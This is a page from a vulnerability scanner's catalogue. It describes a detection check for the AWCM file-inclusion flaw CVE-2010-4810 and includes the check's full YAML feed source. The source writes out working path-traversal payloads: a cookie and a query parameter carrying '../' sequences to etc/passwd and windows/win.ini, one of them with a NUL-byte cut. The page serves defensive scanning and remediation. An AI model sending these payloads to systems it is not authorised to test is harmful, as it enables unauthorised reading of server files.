AWCM — 1 vulnerability check

noctis ships 1 vulnerability check for AWCM, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AWCM theme / language file inclusion

CVECVE-2010-4810
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 75
Feedtests/vulnerabilities/awcm/CVE-2010-4810.yaml

Tests AWCM (AR Web Content Manager) 2.1 and 2.2 for the unauthenticated file inclusion in its theme and language loading. header.php includes languages/<awcm_lang cookie> and themes/<theme>/..., and includes/window_top.php includes themes/<theme_file>/window_top.html, with no check on the names. Under the usual AWCM folders (/awcm, /cms, the web root) the feed requests index.php with the awcm_lang cookie set to a ../ sequence ending in etc/passwd, which needs neither a NUL byte nor register_globals, then includes/window_top.php with theme_file set to the same sequence and a NUL byte (%00), which needs register_globals and PHP before 5.3.4 with magic_quotes_gpc off. When no passwd content comes back, windows/win.ini is tried through the same request. The content of the file in the reply confirms the inclusion. A control request for an absent random file through the same vector must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{rq.passwd.path}}
  3. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{rq.winini.path}}
  6. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  7. HTTP(S) request GET {{rq.ctrl_passwd.path}}
  8. HTTP(S) request GET {{rq.ctrl_winini.path}}
  9. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  10. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: AWCM theme / language file inclusion (CVE-2010-4810)
  11. Checks win_file for ^windows/win\.ini$ → finding QoD 75: AWCM theme / language file inclusion (CVE-2010-4810)

References:

Feed source — tests/vulnerabilities/awcm/CVE-2010-4810.yaml
# AWCM (AR Web Content Manager) file inclusion — CVE-2010-4810
#
# AWCM 2.1 final and 2.2 final (SourceForge "awcm", unmaintained, never fixed)
# include files named by user input with no check:
#   header.php (run first by index.php and every other front page):
#       $theme_file = $_COOKIE['awcm_theme'];   (when the cookie is set)
#       $lang_file  = $_COOKIE['awcm_lang'];    (when the cookie is set)
#       @include ("themes/$theme_file/settings.php");
#       @include ("languages/$lang_file");
#   includes/window_top.php:
#       @include ("themes/$theme_file/window_top.html");   (register_globals)
# CVE-2010-4810 names theme_file in includes/window_top.php and header.php
# (and lang_file in control/common.php, which overwrites it from the
# database before the include in both releases, so it is not reachable).
#
# Detection (benign, read-only), for each usual AWCM folder (/awcm, /cms, web root):
#   1. GET <dir>/index.php with "Cookie: awcm_lang=<10 x ../>etc/passwd".
#      Nothing follows the cookie value in the include, so this needs no NUL
#      byte and no register_globals, on every PHP version AWCM runs on (the
#      include from the awcm_lang cookie in header.php; exploit-db 16049, the
#      same flaw as the CVE's "theme_file in header.php", which is the
#      awcm_theme cookie and needs a NUL byte, so it is not probed separately).
#   2. GET <dir>/includes/window_top.php?theme_file=<10 x ../>etc/passwd%00
#      (the request of the reference check; needs register_globals, and a NUL
#      byte that cuts "/window_top.html" off: PHP < 5.3.4, magic_quotes_gpc off).
#   When no passwd line comes back from a 200 reply, windows/win.ini is tried
#   through the same vector. The content of the file in the reply confirms the
#   inclusion. QoD 75 (response analysis). Both vectors were checked against a
#   real PHP 8.3 sink made of the lines above (NUL cut emulated for 2).
#
# Improvements over the reference check (2010/gb_awcm_44868.nasl):
#   - The cookie vector reaches installs on PHP >= 5.3.4 or with
#     register_globals off, which the window_top.php request can never read.
#   - Ten "../" levels instead of nine, and Windows win.ini is tried too.
#   - No 200 gate on window_top.php: the page is probed directly.
#   - A control request (same vector, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files and with the same HTTP status; a blanket responder or a
#     honeypot keying a fake file on the path suffix is not reported
#     (fail-closed: no control reply → no finding).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2010-4810 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_awcm_44868.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100905, GPL-2.0-only).
uid: 46964cf9-6177-4251-bfd0-068be187ef63
name: "AWCM theme / language file inclusion (CVE-2010-4810)"
description: |
  Tests AWCM (AR Web Content Manager) 2.1 and 2.2 for the unauthenticated file
  inclusion in its theme and language loading. header.php includes
  languages/<awcm_lang cookie> and themes/<theme>/..., and
  includes/window_top.php includes themes/<theme_file>/window_top.html, with
  no check on the names. Under the usual AWCM folders (/awcm, /cms, the web
  root) the feed requests index.php with the awcm_lang cookie set to a ../
  sequence ending in etc/passwd, which needs neither a NUL byte nor
  register_globals, then
  includes/window_top.php with theme_file set to the same sequence and a NUL
  byte (%00), which needs register_globals and PHP before 5.3.4 with
  magic_quotes_gpc off. When no passwd content comes back, windows/win.ini is
  tried through the same request. The content of the file in the reply
  confirms the inclusion. A control request for an absent random file through
  the same vector must not return any of these files, so a server that serves
  the same content on every request is not reported. Only world-readable
  system files are read. The account name (unless root), password field and
  gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2010-4810]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [awcm, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4810"
  - "https://www.exploit-db.com/exploits/15510"
  - "https://www.exploit-db.com/exploits/16049"
  - "https://sourceforge.net/projects/awcm/files/"
  # OpenVAS/Greenbone NASL 2010/gb_awcm_44868.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per (folder, vector) pair.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: t
      over:
        - {d: "/awcm", v: "cookie"}
        - {d: "/awcm", v: "query"}
        - {d: "/cms", v: "cookie"}
        - {d: "/cms", v: "query"}
        - {d: "", v: "cookie"}
        - {d: "", v: "query"}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # Requests for one file through the vector of this pass: path + Cookie header.
  # The query vector sends a neutral cookie.
  - id: build-requests
    action: script
    code: |
      let up = "../../../../../../../../../../";
      let absent = up + "noctis-absent-" + oob_token + "/";
      let r = #{};
      if t.v == "cookie" {
        let p = t.d + "/index.php";
        r.passwd = #{path: p, cookie: "awcm_lang=" + up + "etc/passwd"};
        r.winini = #{path: p, cookie: "awcm_lang=" + up + "windows/win.ini"};
        r.ctrl_passwd = #{path: p, cookie: "awcm_lang=" + absent + "etc/passwd"};
        r.ctrl_winini = #{path: p, cookie: "awcm_lang=" + absent + "windows/win.ini"};
        r.label = t.d + "/index.php with the awcm_lang cookie";
      } else {
        let p = t.d + "/includes/window_top.php?theme_file=";
        r.passwd = #{path: p + up + "etc/passwd%00", cookie: "noctis=1"};
        r.winini = #{path: p + up + "windows/win.ini%00", cookie: "noctis=1"};
        r.ctrl_passwd = #{path: p + absent + "etc/passwd%00", cookie: "noctis=1"};
        r.ctrl_winini = #{path: p + absent + "windows/win.ini%00", cookie: "noctis=1"};
        r.label = t.d + "/includes/window_top.php with the theme_file parameter";
      }
      r
    store_as: rq

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{rq.passwd.path}}"
    headers:
      Cookie: "{{rq.passwd.cookie}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini — only when the page answered (200) and the
  # Linux read gave nothing ────────────────────────────────────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{rq.winini.path}}"
    headers:
      Cookie: "{{rq.winini.cookie}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  # ── Control: same vector, absent random directory, same file name at the
  # end (a honeypot keying a fake file on the path suffix answers it too) ──
  - id: control
    action: http_request
    method: GET
    path: "{{rq.ctrl_passwd.path}}"
    headers:
      Cookie: "{{rq.ctrl_passwd.cookie}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != ""'
    store_as: ctrl_r

  - id: control-winini
    action: http_request
    method: GET
    path: "{{rq.ctrl_winini.path}}"
    headers:
      Cookie: "{{rq.ctrl_winini.cookie}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered with the same status and stayed clean) ────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "AWCM theme / language file inclusion (CVE-2010-4810)"
        description: "An unauthenticated request to AWCM with a theme or language file name made of a ../ sequence ending in etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, and runs the PHP code of any included file."
        remediation: "AWCM is unmaintained and was never fixed: remove it from the server. If it must stay, make header.php accept only the names of the installed languages and themes from the awcm_lang and awcm_theme cookies, turn register_globals off and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{rq.label}} set to ../../../../../../../../../../etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-winini
    action: match
    source: win_file
    pattern: "^windows/win\\.ini$"
    condition: 'win_file != "" && ctrl_r.status != 0 && ctrl_r.status == winini_r.status && ctrl_hit == false'
    on_match:
      finding:
        title: "AWCM theme / language file inclusion (CVE-2010-4810)"
        description: "An unauthenticated request to AWCM with a theme or language file name made of a ../ sequence ending in windows/win.ini returned the content of win.ini, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, and runs the PHP code of any included file."
        remediation: "AWCM is unmaintained and was never fixed: remove it from the server. If it must stay, make header.php accept only the names of the installed languages and themes from the awcm_lang and awcm_theme cookies, turn register_globals off and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{rq.label}} set to ../../../../../../../../../../windows/win.ini returned the content of win.ini; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub